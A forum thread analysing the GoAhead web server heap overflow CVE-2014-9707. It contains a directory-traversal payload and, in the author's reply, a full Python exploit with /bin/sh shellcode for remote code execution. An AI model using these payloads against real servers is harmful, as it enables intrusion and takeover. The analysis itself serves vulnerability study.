吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 31910|回复: 46
收起左侧

[漏洞分析] CVE-2014-9707分析以及exp构造

  [复制链接]
ench4nt3r 发表于 2016-7-11 12:42
本帖最后由 ench4nt3r 于 2016-7-11 12:48 编辑

0x00 介绍
Embedthis Software GoAhead是美国Embedthis Software公司的一款嵌入式Web服务器。
Embedthis Software GoAhead 3.0.0版本至3.4.1版本中存在安全漏洞,该漏洞源于程序没有正确处理以‘.’字符开始的路径部分。远程攻击者可借助特制的URI利用该漏洞实施目录遍历攻击,造成拒绝服务(基于堆的缓冲区溢出和崩溃),也可能执行任意代码。[1]


0x01 环境
Ubuntu 15.10(I686,关闭ASLR、NX)
Goahead 3.4.1
Glibc 2.19


0x02 漏洞产生分析
瞧瞧代码
[C] 纯文本查看 复制代码
for (mark = sp = dupPath; *sp; sp++) {
    if (*sp == '/') {
        *sp = '\0';
        while (sp[1] == '/') {
            sp++;
        }
        segments[nseg++] = mark;
        len += (int) (sp - mark);
        mark = sp + 1;
    }
}
segments[nseg++] = mark;
len += (int) (sp - mark);

在函数websNormalizeUriPath中,第一个for代码块,会将URI以’/‘分割,放入数组,并且统计URI字符串长度(不包括’/‘)。
来,让我们举个栗子看下。

websNormalizeUriPath收到了一个字符串参数,内容是”/hello/./world/.x”。第一个for君勤勤恳恳地工作,将字符串以’/‘分割并且统计好长度。此时各个变量的内容是这样的:
[C] 纯文本查看 复制代码
segments[0]: '\0'

segments[1]: 'hello'

segments[2]: '.'

segments[3]: 'world'

segments[4]: '.x'

segments[5] : '\0'

len: 13

nseg : 5

现在来到了最重要的时刻,第二个for君要上场工作了。先看下它长啥样。
[C] 纯文本查看 复制代码
for (j = i = 0; i < nseg; i++, j++) {
    sp = segments[i];
    if (sp[0] == '.') {
        if (sp[1] == '\0')  {
            if ((i+1) == nseg) {
                segments[j] = "";
            } else {
                j--;
            }
        } else if (sp[1] == '.' && sp[2] == '\0')  {
            if (i == 1 && *segments[0] == '\0') {
                j = 0;
            } else if ((i+1) == nseg) {
                if (--j >= 0) {
                    segments[j] = "";
                }
            } else {
                j = max(j - 2, -1);
            }
        }
    } else {
        segments[j] = segments[i];
    }
}

segments同时肩负输入和输出的重任,i控制输入流的偏移,j控制输出流的偏移。
此时有两种情况处理,当sp为 ‘.’ 时,做一些操作。当sp不为 ‘.’ 时,直接将输入复制到输出。
仔细瞧瞧当sp为’.’时的处理,它做了以下的动作:
  • 当下一个字符为0时,如果输出流到了末尾时((i+1) == nseg),直接复制空字符串到输出流。否则输出流不变(j–,在for的循环表达式中j++,以保持不变)
  • 当下一个字符为 ‘.’ 并且sp[2]为0时,也就是sp为 “..”时。做*操作。(这里不讲了,不是重点。)
  • 重点来了,如果sp不是上面两种情况,将会啥都不做,比如sp为”.x”的话,那么它啥也不做,并且在for的循环表达式中将i跟j自增。
继续举个栗子瞧瞧:
还是以上面的字符串为例“/hello/./world/.x”
  • ‘hello’直接从输入复制到输出
  • ‘.’,j - 1。以保持不变
  • ‘world’,将输入复制到输出。注意,在第2步中因为j不变,所以j现在是2,也就是’.’的位置。
  • ‘.x’,啥也不做,i++,j++。
  • 到这里已经结束了,nseg为5,现在i也是5了,j为4
看看调整后segments的内容:
[C] 纯文本查看 复制代码
segments[0]: '\0'                // 长度 0

segments[1]: 'hello'               // 长度 5

segments[2]: 'world'            // 长度 5

segments[3]: 'world'            // 长度 5

segments[4]: '.x'                // 长度 2

segments[5] : '\0'

继续往下走
[C] 纯文本查看 复制代码
nseg = j;
assert(nseg >= 0);
if ((path = walloc(len + nseg + 1)) != 0) {
    for (i = 0, dp = path; i < nseg; ) {
        strcpy(dp, segments[i]);
        len = (int) slen(segments[i]);
        dp += len;
        if (++i < nseg || (nseg == 1 && *segments[0] == '\0' && firstc == '/')) {
            *dp++ = '/';
        }
    }
    *dp = '\0';
}

len使用的还是分割时计算的(13)。nseg被改成了j(4)。
看看上面调整后segments内字符串的长度:0 + 5 + 5 + 5 = 15。(nseg为4)
path new时的长度是13 + 4 + 1 (len + nseg + 1),而复制到path的字符串长度将是15 + 3 + 1。
很明显,在这发生了溢出。只要稍微构造一下就能触发unlink了。
漏洞分析完毕。

0x03 目录遍历
来,我们准备了这么一个字符串”/../../../../../.x/.x/.x/.x/.x/.x/etc/passwd”,在第二个for君的处理中,遇到”..”并且没到末尾的话,会将j-1,或者置0。
在处理了一连串的”..”之后,遇到了”.x”,我们知道它只会将i、j加1。看看处理完之后的segments吧
[C] 纯文本查看 复制代码
(gdb) p segments[0]
$9 = 0x8055a30 ""
(gdb) p segments[1]
$10 = 0x8055a31 ".."
(gdb) p segments[2]
$11 = 0x8055a34 ".."
(gdb) p segments[3]
$12 = 0x8055a37 ".."
(gdb) p segments[4]
$13 = 0x8055a3a ".."
(gdb) p segments[5]
$14 = 0x8055a3d ".."
(gdb) p segments[6]
$15 = 0x8055a52 "etc"
(gdb) p segments[7]
$16 = 0x8055a56 "passwd"
(gdb) p segments[8]
$17 = 0x8055a46 ".x"

(gdb) p nseg 
$23 = 8

详情请看参考[2]的Directory traversal

0x04 远程命令执行
当执行到wfree(dupPath);的时候,内存布局大概如下:

path是能通过url控制的区域,只要溢出并且覆盖top的size(重点是覆盖点p位,置为0),这样的话,当free(segments)时,就会判断path是否为空闲,由于前面被我们将top的p位置为0,所以此时会unlink(path)。通过在path准备点蛋糕,就可以让shellcode执行了。
蛋糕打造过程:
因为glibc 2.19在unlink判断了fd和bk,所以想要直接通过fd和bk来覆盖函数地址是不可能了。
[C] 纯文本查看 复制代码
#define unlink(P, BK, FD) {                                            \
    FD = P->fd;                                      \
    BK = P->bk;                                      \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))              \
          malloc_printerr (check_action, "corrupted double-linked list", P);      \
    else {                                      \
        FD->bk = BK;                                  \
        BK->fd = FD;                                  \
        if (!in_smallbin_range (P->size)                      \
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {              \
            assert (P->fd_nextsize->bk_nextsize == P);                  \
            assert (P->bk_nextsize->fd_nextsize == P);                  \
            if (FD->fd_nextsize == NULL) {                      \
                if (P->fd_nextsize == P)                      \
                      FD->fd_nextsize = FD->bk_nextsize = FD;              \
                else {                                  \
                    FD->fd_nextsize = P->fd_nextsize;                  \
                    FD->bk_nextsize = P->bk_nextsize;                  \
                    P->fd_nextsize->bk_nextsize = FD;                  \
                    P->bk_nextsize->fd_nextsize = FD;                  \
                  }                                  \
              } else {                                  \
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;              \
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;              \
          }                                      \
      }                                      \
  }                                          \
}

glibc 2.19的unlink如上。

从代码可以看出,Relase模式下,是对fd_nextsize和bk_nextsize没有进行判断的,但是fd_nextsize和bk_nextsize是在large blocks才有的,所以需要构造一个大于512字节(32位系统)的块。
我构造的path:

当segments被释放时,path会被认为是已经释放了的块,所以会触发consolIDAte forward。
fd和bk都指向path的地址,以通过”corrupted double-linked list”检查。

exp执行结果:


0x05 参考
[1]SCAP中文社区
[2]Advisory: CVE-2014-9707
[3]Understanding glibc malloc
[4]EXP


点评

文中有一图片显示异常,如果可以补图,请安特或者短信息通知我一下,谢谢  发表于 2017-3-13 20:36

免费评分

参与人数 17热心值 +17 收起 理由
helloqtpurr + 1 用心讨论,共获提升!
枯凡 + 1 我很赞同!
水孩子 + 1 谢谢@Thanks!
changjiang + 1 我很赞同!
photor + 1 谢谢@Thanks!
charm1y + 1 热心回复!
楚燕离 + 1 用心讨论,共获提升!
卷卷de小白 + 1 热心回复!
Lnairan + 1 谢谢@Thanks!
yedemon + 1 厉害``
tong_wen2504 + 1 热心回复!
wnagzihxain + 1
liefeng44 + 1 谢谢@Thanks!
LOVE_TT + 1 很厉害 看不懂
Three_fish + 1 谢谢@Thanks!
苏紫方璇 + 1 我很赞同!
慕容影 + 1 刚注册就来篇精华 支持

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| ench4nt3r 发表于 2016-7-11 12:50
编辑了几次,外链似乎都失效了。
exp如下:
[Python] 纯文本查看 复制代码
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *


def hex2url(i):
    array = format(i, 'X')
    if len(array) % 2 != 0:
        array = '0' + array
    ret = ''.join('%' + array[i-2:i] for i in xrange(len(array), 0, -2))
    return ret


def fake(chunk_addr):
    print(hex(chunk_addr))
    chunk = int(hex(chunk_addr)[0:8], 16) + 1
    print(chunk)
    fake_fd = hex(chunk)
    fake_chunk_addr = int(fake_fd + '2f', 16)
    fake_bk = fake_chunk_addr - 8

    return fake_chunk_addr, int(fake_fd, 16), fake_bk


def make_fake_chunk(chunk_addr):
    chunk = (chunk_addr & ~0xff) + 0x12f
    fd = int(format(chunk, '08X')[:6], 16)
    bk = chunk
    return fd, bk, chunk


pro = remote('localhost', 80)

chunk = 0x8057840

fd, bk, fake_chunk = make_fake_chunk(chunk)
print(hex(fd), hex(bk), hex(fake_chunk))

shellcode = '%eb%16%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90'
shellcode += "%eb%19%5e%31%d2%89%56%07%52%56%89%e1%89%f3%31%c0%b0%0b%cd"
shellcode += "%80%31%db%31%c0%40%cd%80%e8%e2%ff%ff%ff%2f%62%69"
shellcode += "%6e%2f%73%68"


shellcode_addr = fake_chunk + 4 * 4

offset = 0

exp = 'GET /'
exp += hex2url(fd)                 # fd
exp += hex2url(bk)                 # bk
exp += hex2url(0xbffff2ac - 20)    # fd_next, stack
exp += hex2url(shellcode_addr)     # bk_next

pad = fake_chunk - chunk - 16
print('pad:{0}'.format(pad))

# fake chunk
exp += 'A' * (fake_chunk - chunk - 16)
exp += hex2url(0x01020304)   # prev_size
exp += hex2url(0x01020304)   # size
exp += hex2url(chunk - 8)    # fd
exp += hex2url(chunk - 8)    # bk

exp += shellcode

print('--{}'.format(1024 - (fake_chunk - chunk) - 16 - len(shellcode)/3))

exp += '/./'
exp += hex2url(2) * 50
exp += 'A' * (1024 - (fake_chunk - chunk) - 16 - len(shellcode) / 3 - 50)
exp += '/.x'
exp += ' HTTP/1.0\r\n\r\n'

print(len(exp))
print(exp)
pro.send(exp)

点评

初级会员无法使用超链接,可以直接贴地址即可,升级后就可以使用了。  详情 回复 发表于 2016-7-11 16:42
Hmily 发表于 2016-7-11 16:42
ench4nt3r 发表于 2016-7-11 12:50
编辑了几次,外链似乎都失效了。
exp如下:
[mw_shl_code=python,true]#!/usr/bin/env python

初级会员无法使用超链接,可以直接贴地址即可,升级后就可以使用了。
howsk 发表于 2016-7-11 16:56
头像被屏蔽
慕容影 发表于 2016-7-11 17:31
第一次坐精华板凳
苏紫方璇 发表于 2016-7-11 17:37
虽然看不大明白,但是支持了。
KaQqi 发表于 2016-7-11 20:15
先收藏了。在钻研,可惜python编程我不太精通
 楼主| ench4nt3r 发表于 2016-7-11 22:34
cqr2287 发表于 2016-7-11 20:15
先收藏了。在钻研,可惜python编程我不太精通

python我也只是看了官方文档而已,exp里面的代码都很容易看懂
wsxqaz13245 发表于 2016-7-12 09:17
感谢楼主分享
gaohongye 发表于 2016-7-12 09:32
你...你是申请过来的吧,H大通过了,然后整理一下再发出来,可以这很精华
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-26 16:21

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表